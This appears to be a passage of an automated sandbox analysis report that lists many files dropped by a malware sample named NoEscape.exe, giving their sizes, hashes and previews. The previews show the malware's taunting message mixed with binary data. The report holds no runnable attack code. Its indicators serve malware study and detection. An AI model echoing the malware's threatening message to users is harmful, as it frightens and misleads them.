.M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????????=??? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPH
MD5:	AE03BD2BE8839EB658FD4780FD3C22E3
SHA1:	58E3E18238096955A84F3EE0752983FF7B14D642
SHA-256:	499234F6357D9D89220C1BCF7BD205C7423D1D400E8C83EF3BC65DAE8523171C
SHA-512:	E116C9CF2FD61BB31B57E5D3A13B488B0BB824CD7926076B7449CA773A7A1F3B6BDBBECE45F106CCC8A9E5F491525F431323F97B09BF1B42090075469ABF9846
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\???????????????????????>?????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	7992
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPPPH
MD5:	DEF5BE8E57972164E00709AF4FC4959F
SHA1:	EF020A344CCCAEF6AB8058AA81608390559DB112
SHA-256:	371F593F1903A6B8BED643FAD0D016DF21E0B69BC94DAAD99C0406AEF9A8E800
SHA-512:	295C997A640A7BFFED1141B8BC899D4DDB74B822F5EF5C955C5BAE894ADC3EF2BCBAA8D71E70D96CD2A0A8A7E544BBB5DCD9A41590722CEA565233071AE6FDC4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	9324
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPPPPPH
MD5:	C021FED651D4EAA3B6196D8460C23C21
SHA1:	34C745B5AEF53BF7000F31BEDB795584B2C83774
SHA-256:	E8EB9BEF2EAFAFC62B6186161D92D1A892F48950C7801D683351D31A602705F0
SHA-512:	2F6EC45CFA2F0B6AC285F4B765978546332D988385BE4EC4E9B944CDE24473E7CB855A073AF22870622B3625AA2260C16B65CEDC59CCC069E31515E43987D7EC
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\?????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	2664
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDnH:a5Qn65Qn65Qn65QnH
MD5:	246B962086D374DD18D54446B4219C0E
SHA1:	35B87D0F66CDCC409B43E43D0FAA31587C4B64A4
SHA-256:	2377E4F25659F0FB8F7D99D923AC5556520D5ECC8B77A3CC66FD30F1960E6229
SHA-512:	789317713E7A024DD9DE31158F324C5850534259D5449E0DCA95378B48961D9A8F4F145A1A0A2278919D9AA86446B23E0388BEC34B8839939E1C2226666D1552
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????????????7???? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	4662
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlQ:a5Qn65Qn65Qn65Qn65Qn65Qn65QnH
MD5:	EE1E51BB5C2621FB7ABBA5F58EA5E53C
SHA1:	2FF89E87371925B73D630773F3163F1A2291B6C2
SHA-256:	7637F186967AF7AD0ADA8038D6DAE97EC2BE64B06BEB4F8E50087EFA4902CDC9
SHA-512:	A4D0EF27BFC408A7993F5209C8F64B8C49BAFFD59B80BE6DA4B96AD0CD79A69324B136DB72F57CEF94A6D57408FD4F8BF42C979B6306E83DBF7BD09118AF9449
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????????????? ???? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	11322
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QP:vPPPPPPPPPPPPPPPPH
MD5:	E57DDCE7D4E471B13A0E57CB7BA3BE62
SHA1:	FB8CA17EA1D39CF84D7BEA27E30863FF51247FD2
SHA-256:	45ACAD6DE04BAF62101536BEC3DCC93C4EFEAE8979701980A5F25F74B1A8F522
SHA-512:	AD23C48312379D1DC5A0167811FB6E628FFC0E57CF0D1176B72FDE7C5757A0818D1E0FFBA33C308C8579537F2504AD2CA47C3C962633349D5AF3C7C35F6AEC34
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\????????????????????????????1?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	5994
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPH
MD5:	A16001501D770474811B051E76320C3D
SHA1:	582877F7B7BA6F496292DFE40B7474C1B07985BC
SHA-256:	A5F72E9708C63CC020B2A8810386A6C5B2357DF224D7BCEADBAE3E078CF787C9
SHA-512:	B89A22EE29A7ADA272147DDEDD5444D13E86200A3927444BFD5C80944651D421D29790005E5308C05B3DD31DEE158673944E88F8C2D987DB38918CC7A6892C67
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\?????????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPH
MD5:	AE03BD2BE8839EB658FD4780FD3C22E3
SHA1:	58E3E18238096955A84F3EE0752983FF7B14D642
SHA-256:	499234F6357D9D89220C1BCF7BD205C7423D1D400E8C83EF3BC65DAE8523171C
SHA-512:	E116C9CF2FD61BB31B57E5D3A13B488B0BB824CD7926076B7449CA773A7A1F3B6BDBBECE45F106CCC8A9E5F491525F431323F97B09BF1B42090075469ABF9846
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	4662
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlQ:a5Qn65Qn65Qn65Qn65Qn65Qn65QnH
MD5:	EE1E51BB5C2621FB7ABBA5F58EA5E53C
SHA1:	2FF89E87371925B73D630773F3163F1A2291B6C2
